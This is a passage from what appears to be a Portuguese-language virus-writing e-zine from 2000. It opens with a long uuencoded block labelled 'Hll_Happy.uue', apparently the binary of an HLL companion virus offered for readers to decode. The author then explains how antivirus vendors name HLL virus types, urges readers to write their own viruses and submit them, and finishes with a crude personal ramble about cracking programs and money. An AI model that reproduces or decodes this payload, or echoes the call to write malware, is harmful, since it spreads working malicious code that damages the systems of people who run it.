M5<@BL7?)+HFH-<8[KQ::I3V,<7,Z?FM1H1>ZI4F,<8,YBFLLIV<E+J:@B`'2 M5NH,JH=7I46,.(+^?\8'K]VCI2V,3H2(`E&$PX<CL7?)+HF("#%SKA:KPZF- M*T]XC*X7N(=79J\NEH'N&,+H=XS#I"*Q=\DNB:@UQJFO%J&EJXP[BFLLIV<E M+J;!_7+#EB*Q=\DNA7@#9X=X`%^)J#7&CZ\6GT(P@AC=C:67C<N2%Z6=C$Z$ MB`)1A.2)KC8CH8_)+X&H-<;UK\8WA/6,KA:9I/V/<7XZ?W)S.H-K2F@%JE!@ MASF@@IHE@4^$B`)1A8\OY(>N-B.AC\DO@:@UQNVO%HG&-X4C/ZB1`5K*8>8/ MHMV-I/^.RY(C2*]:R@'FJ*:1`:4/CLN23H2(`E&%CR_DAZX!TF]XR2Z%>,8V MB+)9[N'UW-;@>LST=ZZ8`N%Q/#B*_CPDQ7N?NNE[S0-MY(6N[7&,^DY[NL*& M]HURTZR-60'"R2^%B`HQBOZT.7.("C&*^[0YA.>'>(U(C,-97CNH-*"E88U4 M-8@-,5VN&9QO(39^AX]9Y;Z,;#N'"U>NH)S[A\1HBONTAP*I`&B'B`)IB5'# MIXTCL7?)+HC&5:X6H%GE9R-O^DSA:CN("U>NPZF-([%WR2Z(QG&N%I=G(VXK MD*D7I=EOOHP8J^AWC8C$:(K^M>.)KF<M#JS9UAFHQ*=7KB2NR?E-]"FNH*C9 M;=-(C5D!PLDO@L:PKA:3;US&5X>(`&&)B`"1OHPSCQNH4>T9J0'LZ'>-4<.I MC/M-]2FNH*C8;=)(C5D!PLDO?,;FKA9O`&B#H\TY<9`ZB)1(B2/$Z#>B`LMG M(V_A:E5L/&Q[NX>4.(CJ#Z@`[('7&:EG)8?#<7-'I!F7`J!7KJ"<Z'>,Z@^H M`.R!UQFI6>YG)891PY^-60'"R2^"QD*O%HT`:(6(E$B)(\4B1ZAFMR:JB>0! MWF<C;_:-;+Z,&*OH=XU1PZ6-60'"`%B'H[LYA\9"KJ!]V7V^C%&KU:V-/&8@ MAWR-B/^G8:Y9KY&'4ZD9I].NC;O>PIDJQ*H!M]*MB[S?');=;ZAMZ@^FD0/[ MNNF.+^2+KEG<I:N-&\`?AWR,[PVN9R1^?)YF6=.HI&<N3HX4JT7,E"*5RH*( M#7%M.(AGJK8!YV'H&:I(9!?0R*V,KHRNC*Z,KHRNC*Z,KHRNC*Z,KHRNC*Z, MKHRNC*Z,KHRNC*Z,KHRNC*Z,KHRNC*Z,KHRNC*Z,KHRNC*Z,KHRNC*Z,KHRN MC*Z+KHRNI:V-40O!B*YOJ'^/V:O_]S6NTE:+)'EHOHQ".93YA.%K]HBNOIV$ MCP#3">M](\!_BB!0KEZOWW2-EHFNC8TE.AD^4W]<."(\%CLK/"H[(D)?=AZ` M*#\>C;'.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZM MSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMTGZDL(UMCFV. M;8YMCFV.;8Y<CFU/+(YMCFV.;8YMCFV.+$\LCFV.;8YMCFV.;8YMCBQ/;8YM M3RR.;8XL3VV.;4\L3VV`;8YMCFV.;8YMCFS3?J2PC6V.;8YM,FV.7(YM,FV. M$4\LA6V.$8YMCA&.;88L3VV.;8YMCFV.;8YMCFTR;4]BCA%/+(5M,BQ/$8YE M3RR.;3)M,FV.;8YMCFV.;--^I+"-;8YMCFTR7(YMCFTR;8X1CFU2;8X13RQ/ M$8YM3RQ/8HYMCFV.;8YMCFV.;3(L3V*.$8YM4FTR;8X1CBQ/+(5M,FTR+$\L MCFV.;8YLTWZDL(UMCFV.;8YMCFV.;8YMCFV.;8YMCFV.;8YMCFV.;8YMCFV. M;8YMCFV.;8YMCFV.;8YMCFV.;8YMCFV.;8YMCFV.;8YMCFV.;8YMCFS3?J2M MSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW. MK<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<ZMSJW.K<Y^I'ZD;8YMCD8[&$EM M31L]%D47/VU)&#HJCB)`)TDH.BI*'(XH/QZ.'(X711LY&(Y%31T^$HY%8D&A M@Z&#CFV.;6L<0!D\'$)@:VU)'TLF/!M-7Z&#H8..;8YM;1\U;3\91B8\;4D5 M22@Y&4UM/VTX(CP6.U^`7Z&#KAX.#A\'N^0$T<OK!$?K!%3K^\:^OS^!QAFS MZP&=BX1\#04I,8;$2`5]NT!(AX1\#49&4.0A4.D.`+GF(>D!`&=8YB'I!@#P ML/_K[_I8@^L!=`+KR1P[>%,1WN+3'!PG#`95FE03W*A-!2T;6`73&U<&PDY- MVX7TX`3<TUBB4R=9!%,;5*C9HQXI<6M3I*8A.QST'3X&8Q%4'3ZC$!]9IU.C M'B%Q:U,6IO;@QQ\8-5<^IX=/+:H3=RL=/')3%:L@]@13&UPZW!M=!+,;5P:B M2$TZW!M9<ZXH]J13*7$$4QM4%GCVX%4\B%/C/09O64X@ANO]ZX/S4PP^!0`; M5.OF(MH;60,^W%7@V/1)'3S04^DA2%3E%&.332*C*P18&U3K",?]/15N0[*; M<!9G$KW<X17*#Q,V:Y[GZ>@@!_OL(J5(O:/JTHH5:+KJVHJZ:M.*%7.ZI=7E M&*J@#1J0%JVA:,#JVZJ@,!J0%JVAI,#EF*J@7AJ0%:VAE<"'%NF`<$.RF^H5 MY21N0[2;<181WA3=<Y[GYQ,`VT?D1Z6CO:.W2.W-$Q6#GN?E$W`MW),3%.&# MH.?E/6W)E5D6$QV;E>6YLB6R'L<V<A$F[;VCI:/MS1@5&0L4%'04Y^?,BOW_ M&?+1U<\J#HJ%.^F`;4/+F]`5SQ;T_]$4Q/VEHR!#L*O0%L7X_^%?`(%R.B/2 MEN4<L^3@%?,B[#/BGZR6YQ?ES9V5Y1.5!ZX@]XC<GW#")A.E(-**<,(F$Z4@ MRHJ[H.[(!^+5S;)A&#9TU:75Y1@$(]J?JY;GZXJZK)B*&:2ZY9B*NG!#NIO+ M%K0VKN8E72M"MFQLU6SUW=B1[;5(R@NU&.'C\R+L,W!#M*L3%G.@Y_VN(/V( M<$/@RN@59PK)VY(6O:#HP737#-7\%=GV<$.HF^@5X-:UHW!#JKO@%7!#K)OH M%3;7<$.NFS46I4C`2*Y(<$.RJW,6=.\9UQGG&109"[$"YRSA$^;!Y12)7N44 MY13E%.44Y13E%.44Y13E%.44Y13S\/(%RNSE=],@(P'M9V+94JZJ</A_2WWE M,.44Y3/E%.4^Y13E2.44Y6KE%.5VY13E?N44Y8KE%.66Y13EH.44Y:KE%.6T MY13ENN44Y</E%.7-Y13FT^44YN/E%.;HY13F[>44YOSE%.8,Y13F$N44YI#E M%.:EY13FL>44Y]GE%.?CY13G_N44YQ+E%.<DY13G-^44YT'E%.=/Y13G7^44 MYV_E%.=YY13G@^44YXWE%.>7Y13GG.44YZ_E%.>^Y13HTN44Z.3E%.CWY13H M`>44Z`_E%.@>Y13H+>44Z#OE%.A)Y13H6.44Z&OE%.ARY13H@.44Z(SE%.B8 MY13HJN44Z+WE%.C$Y13ISN44Z=CE%.DOY13I-.44Z4[E%.E<Y13I=>44ZM?E M%.K<Y13JX>44ZNKE%.KSY13J^N44Z@GE%.H3Y13J(N44ZB?E%.HQY13J0.44 MZD7E%.I/Y13J7N44ZF/E%.IQY13J@.44ZI3E%.JFY13JN>44ZL/E%.O1Y13K MX.44Z^CE%.ORY13K"^44ZQ[E%.PFY13SA^44]!7E%/7QY13\`N44Y13E%.44 MY13E$^43Y1/O(5=E661:`U=D*34&`U=E3&1W9W>"!8CO(04U!N<&YP;7JNNE MV;<U!34&UP4U\C0%'Y\UGS68-9\U!34%R*K<FMGO(04UJNBJY0;NJNB_V;4U M!37SU04?-357A#4U+F0I8SU:*FGR9O(>*A]7AQ^$3FM:AP6(6H0H-4:'4'CO M(0DYY3CH``!=@>T#`!X&#A^T`HVV6`"Y`0"*%$;-(4EU^+0(S2&X`P#-$`<? MC-N#PQ"+RRX!CCL`+O^N.0```-@!(5=O2"!04D]414-43U(J*E!/24Y$15A4 $15(A$Q,` ` end ;;;;;;;;;;;;;;;;;;; Hll_Happy.uue ;;;;;;;;;;;;;;;;;;;;;;;;;;; Os virus de HLL spawning sao denominados pelos AV's , em sua grande maioria como HLLC, o c vem a ser de companion, tem tambem os HLLP de apending (virus normais de colocar o virus e o host no mesmo arquivo) e HLLO de overwriting, resolvi adotar essa nomenclatura e aki estao nosso virus ! Lembrando sempre que um virus em HLL nao e' necessariamente em PASCAL, pode ser em Basic, C , entre outras, se voce manja ai de al- guma linguagem de AltoNivel e ta afim de fazer um virus, pegue de base esse texto se quiser fazer um de Spawning , ou vai na luta, le- ia muito, ate' nosso zine serve e te ajudara no caminho e quando ti- ver pronto, se manda aki pra nois ! Nem ta saindo um de Spawning pra 95 nessa edicao pois nao estou manjando quase nada de ASM em 32bits e tenho muito o que aprender antes de fazer um virus, quem sabe escrever uma mensagem no Windows usando ASM seja uma otima iniciativa ! :) haha ! Tudo tem um comeco, e temos que comecar no beginning da coisa, meu primeiro programa em ASM foi um programa que escrevia uma sting na tela e boa, vou fazer em W95 e ai e' so' reaprender tudo dinovo ... Se bem que eu gostava da INT 21H, mas fazer o que, vamos atacar de novos metodos, as DLL do windows que me digam, o kernel principalmente ! Seilá agora acho que acabou a materia mesmo, se eu achar mais algum virus de Spawning por ai ou se arrumar tempo e fizer um antes de fechar a edicao do zine que vai essa materia eu coloco ! Fora isso acho que e' so', ah, debuggar também é uma arte, n╞o sei porque nao a escolhi, pelo menos poderia ganhar grana, crackean- do um programa karo por ai ... :( Mas fazer o que quiz fazer o lado revolucao da coisa, o ideal, fica ai se fudendo sem tempo sem grana e com mo'galera correndo atras da minha pessoa me enchendo o saco e eu tambem sem querer enchendo o saco de mais mo galera, deveria co- mer queto (igual os mineiros da BRFree que foram os 1ºs a oferecerem Net de gratis,e agora virou bagunca ...) mas relax, nem sei o porque desse paragrafo, to ate'com vontade de apaga-lo, mas deixa ele ai, afinal quem nunca debugou um programinha de nada ... Se pans faco um texto ainda de como ficar invencivel no Wolf3D, utilizando um debug- ger e um editor de Hexa ... Maneiro, foi o uma das minhas primeiras debugadas... Eh, bons tempos ... Agora deixa eu ir durmi pois ninguem consegue ficar muitos dias sem dormir e estou so'o bagaco, to ficando loco, se voce ta pensando em fazer faculdade, esqueca !!! Voce vai ficar loco, se bem que vai comer mulher pra caralho, nao aqui na Unicamp, mas na Unip e na Puc vai com certeza ... E trabalho com estudo nao funciona, pare primei- ro de estudar e trabalhar infelizmente nao da intaum vai levando, quem sabe um dia escrevo um livro e ganho dinheiro com o xerox, ou volto a tocar baixo e arrumo uma banda e vamos fazer dinheiro por ai tocando pagode (pensa o que por grana pagamos cada mico !) ou seila' espero me formar e vou refinar acucar na colombia, alguma coisa nes- se estilo, preciso ficar rico, se nao como vou ter minha Ferrari de verdade, de miniatura tenho uma pá e nao serve pra nada, so' decora- cao e de me dar mais vontade de ter uma porra daquelas, o futuro me espera, ele que me aguarde ... " Poucos nasceram ricos igual meus filhos nascerao ! " Se nin- guem falou essa frase, registro ela pra mim agora, se for de alguem que voce conheca, de um toque, vamos respeitar o direito da galera , viva a maquina de Xerox !!! hehehe... A informacao deve ser gratuita , quer dizer, ate' eu ter meu livro publicado ... pareco o Derneval falando, que livro porra nenhuma (P.B.) o que liga e' o trabalho vo- luntario e gratuito, sentiu o Pleonasmo ! (Putz...sera que e' pleo- nasmo mesmo aquele de subir a subida, acho que sim, se nao for muda ai em cima fazendo favor... Sem mais por enquanto ... Nim Bus Akemi T + Galera ──────────────────────────────────────────────────────────────────────────── Copyright ╕ 2000, Vírus Brasil ⌐ ────────────────────────────────────────────────────────────────────────────